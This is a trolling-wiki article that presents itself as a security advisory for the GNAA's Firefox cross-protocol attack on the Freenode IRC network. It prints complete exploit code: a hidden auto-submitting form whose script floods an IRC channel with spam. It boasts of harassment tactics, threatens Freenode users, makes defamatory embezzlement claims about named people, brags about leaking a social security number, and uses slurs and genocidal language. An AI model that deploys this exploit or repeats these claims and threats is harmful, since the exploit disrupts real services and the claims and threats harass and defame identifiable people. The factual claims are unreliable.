Firefox XPS IRC Attack
Since it's been copied to much less sweet websites (without credit or sourcing), it's time to write up a security advisory (I believe the publishing of infosec advisories is a first for Encyclopedia Dramatica, lulz) and let everybody know whats up. Firefox has a hole in its port blocking scheme that allows a clever troll to spam an unsuspecting IRC daemon with whatever he desires. The GNAA leveraged this vulnerability to bring complete ruin upon the Freenode IRC network.
How it works
A new implementation of cross-protocol scripting was used to automatically fill a HTTP form to send a POST to port 6667 and shove a bunch of IRC commands down the socket. Although Mozilla banned most of the fun ports years ago, 6667 -- the default port for IRC servers, wasn't on the list. In all likelihood, this the first use of this attack in the wild, ever.
This attack has a lot of implications outside of IRC. Think of all the other TCP ports that are in common use these days that aren't covered in Mozilla's banned list. Most protocols do not use a cookied handshake of any sort to initiate a connection. The sheer amount of potential that exists in turning a web browser into a device speaking an arbitrary protocol is huge. For example, SIP protocol can run on TCP these days. You can make someone's web browser interact with a SIP device. All sorts of potentially criminal and civil liability generating applications. Expect more of them to appear out of the GNAA labs in the future!
[+]Example source (click plus to uncollapse)
<form action="http://irc.freenode.net:6667/" method="post" enctype="text/plain"> <textarea style="display:none" id="x" name="x"></textarea> <input type="submit" style="display:none;" /> </form> <script type="text/javascript"> function randomString(length) { var chars = "abcdefghiklmnopqrstuvwxyz"; var randomstring = ''; for (var i=0; i<length; i++) { var rnum = Math.floor(Math.random() * chars.length); randomstring += chars.substring(rnum,rnum+1); } return randomstring; } n=randomString(Math.floor(Math.random()*10+3)); i=randomString(Math.floor(Math.random()*10+3)); te=document.getElementById('x'); te.value = '\nUSER '+i+' 8 * :'+n+'\nNICK '+n+'\nJOIN #freenode\n'+new Array(99).join('PRIVMSG #freenode :Protect your rights online! Do not be squished by the leaders! Support the GNAA at irc.gnaa.eu #gnaa ....... My name is '+n+', and I hope you have a nice day.\n'); te.parentNode.submit() </script>
Browser rundown
- Firefox affected, all versions
- Seamonkey affected, all versions
- Mozilla suite affected, all versions
- Possibly others affected
- Microsoft Internet Explorer, Apple Safari unaffected. Because closed-source commercial products are simply better.
IRCD rundown
- Efnet, no longer affected (took them about an hour to enact countermeasures)
- Buttesnet, no longer affected. (took them about 4 hours to enact countermeaures)
- OFTC, no longer affected (took them about a day)
- Freenode, over 1 month to enact countermeasures with a server upgrade from Hyperion to ircd-seven, after which they immediately got raped by GNAA. (LOL)
Best things that were done to Freenode
- Embedded exploit in hidden iframes in everyone's favorite shock site, leading to thousands of hosts joining network.
- Messaged Freenode opers blog links with hidden iframes and watched as they all k-lined eachother
- Switched up the floods to CTCP and made users flood themselves off with CTCP replies over and over again until they were k-lined from servers with reconnect limits.
- Flooded freenode with channel names full of legitimate users implying they were troll channels, making paranoid freenode ops ban their own legitimate users.
- After seeing a Freenode staff member make a bot that automatically k-lined flooding users in a channel with wildcards, manually flooded the channel from a shell account and watched it ban an entire TLD, taking a gigantic swath of the network with it.
- Made Freenode staff xenophobic and paranoid and watched them k-line anyone who dared ask for assistance or complain about the floods.
- Making Freenode users self-propagate the link on third party blogging services with warnings to not click the link (we got huge referrals from Twitter, thanks dudes)
You are mean. Why did you torture freenode so much?
Freenode/PDPC is a fucking fraud. In the entire time it has existed, it has never released financial statements. Rob Levin used PDPC to embezzle hundreds of thousands of dollars which should have been given to open source development projects. He faked his death, and came back in this "christel" incarnation in Europe to continue embezzling from Freenode. It is all a big lie, and these people should be thrown into ovens. EFnet continuously hosts 100x the number of users that Freenode does without constant netsplits and incidents. OFTC does not sit there and continuously beg for money. Get off of Freenode. Go to somewhere that is ethical.
Beyond that, the trolling scene has a lot invested in ruining Freenode. I posted Rob Levin's social security number, enabling the series of identity thefts and ruins that forced the man to fake his death. With Bantown, I watched Jmax sniff lilo's oper block password off the wire and absolutely wreck the network in it. I also watched Grog (of the GNAA at the time, until he was excommunicated by the former tyrant timecop) convince lilo that he was the founder of MySQL, get opered up, wreck the network. Then he convinced lilo that his daughter's computer was hacked, apologized, got his o:line back and wrecked the network again.
In short, wrecking Freenode is a long and glorious troll tradition that stretches backwards for time immemorial. If you associate with Freenode, use Freenode, or support Freenode, you are a target. You are asking to be destroyed.
See Also
External Links
- Freenode publically admitting they cant figure out iptables, pf, or snort and a simple shell script
- The Register: Firefox-based attack wreaks havoc on IRC users
- Softpedia: Firefox Bug Used to Harass Entire IRC Network
- IRC-Junkie: UnrealIRCd team releases patch against Firefox XPS Attack
Non-English sources
- Milliyet, Firefox ile hack'lediler!, Turkish
- Xakep, Эксплоит для бреши в Firefox позволил хакерам внести хаос в работу IRC-сетей, Russian
- Gulli, Firefox-Schwachstelle ermöglicht Angriff auf IRC-Netze, German
- Techworld.nl (IDG), Bug in Firefox gebruikt tegen IRC netwerk, Dutch
- Hungarian Unix Portal, Firefox XPS bug - a Firefox sebezhetőségét kihasználva floodoltatták az IRC csatornákat, Hungarian
- AZPoint, Mozilla: bug manda in crisi Freenode IRC, Italian
- Logiciel, Une faille Firefox utilisée pour attaquer Freenode, un réseau IRC, French
Firefox XPS IRC Attack is part of a series on the Gay Nigger Association of America. | |
---|---|
|
Firefox XPS IRC Attack is part of a series on Programming. [Enter the Matrix] | |
ADA • Assembly • C • C++ • COBOL • Debug • DOS • Erlang • Error • Fdisk • Fortran • Integer • Java • LOLCode • Machine Code • Matlab • MIRC Script • MUMPS • Open Source • Perl • PHP • Programming language • Python • QBASIC • Ruby on Rails • Scratch • SSH • Visual Basic
Firefox XPS IRC Attack • Safari XPS Attack • Sandworm
Bill Gates • Linus Torvalds • Weev • Goatse Security • Terry Davis • Theo de Raadt
Operating system • Warez • Notepad • Is not a bug, it's a feature • Database Error |
Firefox XPS IRC Attack is part of a series on |
Please visit the IRC PORTAL for more
ASCII • Abducted IRC • Alan Sullivan • AnonNet • AnonOps • Anthrochat • Aol.pl • Austnet • Axila • BLACK MAN • Banbot • Bantown • Bonzi_b • BonziWORLD • Bookz • Boten Anna • Botnet • Buttes |
---|
Firefox XPS IRC Attack is part of a series on Visit the Softwarez Portal for complete coverage. |
Featured article March 7, 2010 | ||
Preceded by HOW CAN SHE SLAP?!? |
Firefox XPS IRC Attack | Succeeded by American Family Association |